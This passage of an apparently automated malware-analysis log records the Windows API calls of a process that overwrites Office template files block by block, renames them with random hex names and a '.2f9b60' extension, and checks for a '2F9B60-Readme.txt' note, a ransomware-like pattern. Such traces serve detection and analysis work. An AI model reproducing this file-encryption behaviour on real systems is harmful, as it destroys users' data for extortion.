Seed=0x3a17f590) returned 0x1e05c8e6 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x45e9a7d8 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x4d30f11 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x33b27be0 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x1592328a [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x14019c54 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x4d7fdd3d [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x6f8352da [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x19177fa1 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x436170d4 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x5d01b083 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x5276158c [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x722658e1 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x6fdaba53 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x1898df8c [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x77470b60 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x51ba5353 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x16a8025 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x32e1971f [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x33c4f7b7 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x4aecc5ca [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0xa681ae4 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x53e31b22 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x3b0b7e4 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x7f004619 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x788881e0 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x4733fb46 [0140.729] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x6411f84f [0140.730] RtlRandomEx (in: Seed=0x3a17f590 | out: Seed=0x3a17f590) returned 0x5d5c427e [0140.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9f0 [0140.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda20 [0140.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0140.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd900) returned 1 [0140.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4226a920 [0140.738] SetFilePointerEx (in: hFile=0x1fd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.738] ReadFile (in: hFile=0x1fd0, lpBuffer=0x4226a920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a17f600, lpOverlapped=0x0 | out: lpBuffer=0x4226a920*, lpNumberOfBytesRead=0x3a17f600*=0x3c00, lpOverlapped=0x0) returned 1 [0140.739] SetFilePointerEx (in: hFile=0x1fd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0140.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0140.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd900 [0140.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd900) returned 1 [0140.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4226e530 [0140.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd900 [0140.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0140.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0140.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0140.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0140.741] WriteFile (in: hFile=0x1fd0, lpBuffer=0x4226e530*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3a17f600, lpOverlapped=0x0 | out: lpBuffer=0x4226e530*, lpNumberOfBytesWritten=0x3a17f600*=0x3c00, lpOverlapped=0x0) returned 1 [0161.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4226e530) returned 1 [0161.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4226a920) returned 1 [0161.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a8bf0 [0161.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0161.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8c50 [0161.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8c50) returned 1 [0161.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a8c50 [0161.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8b60 [0161.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d70 [0161.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d70) returned 1 [0161.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0161.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x423a8710 [0161.348] SetFilePointerEx (in: hFile=0x1fd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.348] WriteFile (hFile=0x1fd0, lpBuffer=0x423a8710, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a17f6b0, lpOverlapped=0x0) [0206.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0206.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0206.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677a0 [0206.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202677a0) returned 1 [0206.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0eae0 [0206.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677a0 [0206.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267770 [0206.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267770) returned 1 [0206.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0206.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0206.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d82c0 [0206.913] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="c3") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="44") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="3e") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="30") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="9b") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="aa") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="52") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="75") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="c8") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="cb") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="38") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="89") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="67") returned 2 [0206.913] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="25") returned 2 [0206.914] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="d1") returned 2 [0206.914] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="21") returned 2 [0206.914] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="20") returned 2 [0206.914] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="15") returned 2 [0206.914] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="96") returned 2 [0206.914] RtlInitAnsiString (in: DestinationString=0x3a17f728, SourceString="9ec3443e309baa5275c8cb38896725d121201596" | out: DestinationString="9ec3443e309baa5275c8cb38896725d121201596") [0206.914] RtlAnsiStringToUnicodeString (in: DestinationString=0x3a17f6f8, SourceString="9ec3443e309baa5275c8cb38896725d121201596", AllocateDestinationString=1 | out: DestinationString="9ec3443e309baa5275c8cb38896725d121201596") returned 0x0 [0206.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431f9fc0 [0206.914] wcscat (in: _Dest=0x4314f010, _Source="9ec3443e30" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\9ec3443e30") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\9ec3443e30" [0206.914] wcscat (in: _Dest=0x4314f010, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\9ec3443e30.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\9ec3443e30.2f9b60" [0206.914] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\9ec3443e30.2f9b60", NtPathName=0x3a17f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\9ec3443e30.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310a990 [0237.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a990) returned 1 [0237.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432050b0) returned 1 [0237.803] NtQueryInformationFile (in: FileHandle=0x1fd0, IoStatusBlock=0x3a17f738, FileInformation=0x3a17f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3a17f738, FileInformation=0x3a17f748) returned 0x0 [0237.803] NtSetInformationFile (FileHandle=0x1fd0, IoStatusBlock=0x3a17f738, FileInformation=0x3a17f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0239.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314f010) returned 1 [0239.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f9fc0) returned 1 [0239.839] FlushFileBuffers (hFile=0x1fd0) returned 1 [0240.094] CloseHandle (hObject=0x1fd0) returned 1 [0242.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce11290 [0242.740] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\" [0242.740] wcscat (in: _Dest=0x1ce11290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" [0242.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2f9b60-readme.txt")) returned 0x20 [0242.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0242.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0c90) returned 1 Thread: id = 2148 os_tid = 0x1518 [0140.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt")) returned 0x20 [0140.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt", dwFileAttributes=0x20) returned 1 [0140.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Media.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\media.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bc4 [0141.171] GetFileSizeEx (in: hFile=0x1bc4, lpFileSize=0x39fcfc40 | out: lpFileSize=0x39fcfc40*=20690) returned 1 [0141.171] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x50ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.171] ReadFile (in: hFile=0x1bc4, lpBuffer=0x39fcfbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39fcfc08, lpOverlapped=0x0 | out: lpBuffer=0x39fcfbc0*, lpNumberOfBytesRead=0x39fcfc08*=0x4, lpOverlapped=0x0) returned 1 [0141.173] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0141.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdba0 [0141.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0141.174] NtQuerySystemTime (in: CurrentTime=0x39fcfb00 | out: CurrentTime=0x39fcfb00*=132462177464134000) returned 0x0 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x35521d6c [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x5345a7d4 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x64eaf49 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x1dbf59c5 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0xe77aca1 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x679add0b [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x1e63762e [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x61d4c531 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0xbc888c6 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x8587159 [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x6c73cc8f [0141.174] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x69cd1eb1 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x664f75e4 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x2f96f70a [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x337392e9 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x5846887d [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x3ce0394c [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x63b5756a [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x6b08c902 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x97ffad5 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x2805b29d [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x723d8a8d [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x518b40a2 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x3c3f7447 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0xe5108d6 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x40040303 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x5aac5783 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x61a8aed8 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x343dd1d2 [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x27ccdcef [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x773c7aff [0141.175] RtlRandomEx (in: Seed=0x39fcfaf0 | out: Seed=0x39fcfaf0) returned 0x21d50f21 [0141.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc30 [0141.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc00 [0141.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0141.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0141.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f01c0 [0141.187] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.187] ReadFile (in: hFile=0x1bc4, lpBuffer=0x421f01c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x39fcfb60, lpOverlapped=0x0 | out: lpBuffer=0x421f01c0*, lpNumberOfBytesRead=0x39fcfb60*=0x3c00, lpOverlapped=0x0) returned 1 [0141.189] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0141.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb70) returned 1 [0141.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f3dd0 [0141.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb70 [0141.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0141.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0141.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.190] WriteFile (in: hFile=0x1bc4, lpBuffer=0x421f3dd0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x39fcfb60, lpOverlapped=0x0 | out: lpBuffer=0x421f3dd0*, lpNumberOfBytesWritten=0x39fcfb60*=0x3c00, lpOverlapped=0x0) returned 1 [0141.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f3dd0) returned 1 [0141.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f01c0) returned 1 [0141.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x204fdd50 [0141.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdb10 [0141.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdb10) returned 1 [0141.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x204fdb10 [0141.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fda80 [0141.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0141.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0141.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x1694d0 [0141.199] SetFilePointerEx (in: hFile=0x1bc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.199] WriteFile (in: hFile=0x1bc4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x39fcfc10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x39fcfc10*=0x108, lpOverlapped=0x0) returned 1 [0141.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420618b0 [0141.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0141.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd9c0) returned 1 [0141.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0141.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd9c0 [0141.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdff0 [0141.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdff0) returned 1 [0141.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420618b0) returned 1 [0141.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda07f0 [0141.205] sprintf (in: _Dest=0x1cda07f0, _Format="%c%c" | out: _Dest="c4") returned 2 [0141.205] sprintf (in: _Dest=0x1cda07f2, _Format="%c%c" | out: _Dest="c6") returned 2 [0141.205] sprintf (in: _Dest=0x1cda07f4, _Format="%c%c" | out: _Dest="cd") returned 2 [0141.205] sprintf (in: _Dest=0x1cda07f6, _Format="%c%c" | out: _Dest="7f") returned 2 [0141.205] sprintf (in: _Dest=0x1cda07f8, _Format="%c%c" | out: _Dest="a8") returned 2 [0141.205] sprintf (in: _Dest=0x1cda07fa, _Format="%c%c" | out: _Dest="19") returned 2 [0141.205] sprintf (in: _Dest=0x1cda07fc, _Format="%c%c" | out: _Dest="6e") returned 2 [0141.205] sprintf (in: _Dest=0x1cda07fe, _Format="%c%c" | out: _Dest="91") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0800, _Format="%c%c" | out: _Dest="04") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0802, _Format="%c%c" | out: _Dest="ec") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0804, _Format="%c%c" | out: _Dest="b9") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0806, _Format="%c%c" | out: _Dest="67") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0808, _Format="%c%c" | out: _Dest="8a") returned 2 [0141.205] sprintf (in: _Dest=0x1cda080a, _Format="%c%c" | out: _Dest="14") returned 2 [0141.205] sprintf (in: _Dest=0x1cda080c, _Format="%c%c" | out: _Dest="21") returned 2 [0141.205] sprintf (in: _Dest=0x1cda080e, _Format="%c%c" | out: _Dest="23") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0810, _Format="%c%c" | out: _Dest="aa") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0812, _Format="%c%c" | out: _Dest="4c") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0814, _Format="%c%c" | out: _Dest="2e") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0816, _Format="%c%c" | out: _Dest="16") returned 2 [0141.205] sprintf (in: _Dest=0x1cda0818, _Format="%c%c" | out: _Dest="fe") returned 2 [0141.205] sprintf (in: _Dest=0x1cda081a, _Format="%c%c" | out: _Dest="db") returned 2 [0141.205] RtlInitAnsiString (in: DestinationString=0x39fcfc88, SourceString="c4c6cd7fa8196e9104ecb9678a142123aa4c2e16fedb" | out: DestinationString="c4c6cd7fa8196e9104ecb9678a142123aa4c2e16fedb") [0141.206] RtlAnsiStringToUnicodeString (in: DestinationString=0x39fcfc58, SourceString="c4c6cd7fa8196e9104ecb9678a142123aa4c2e16fedb", AllocateDestinationString=1 | out: 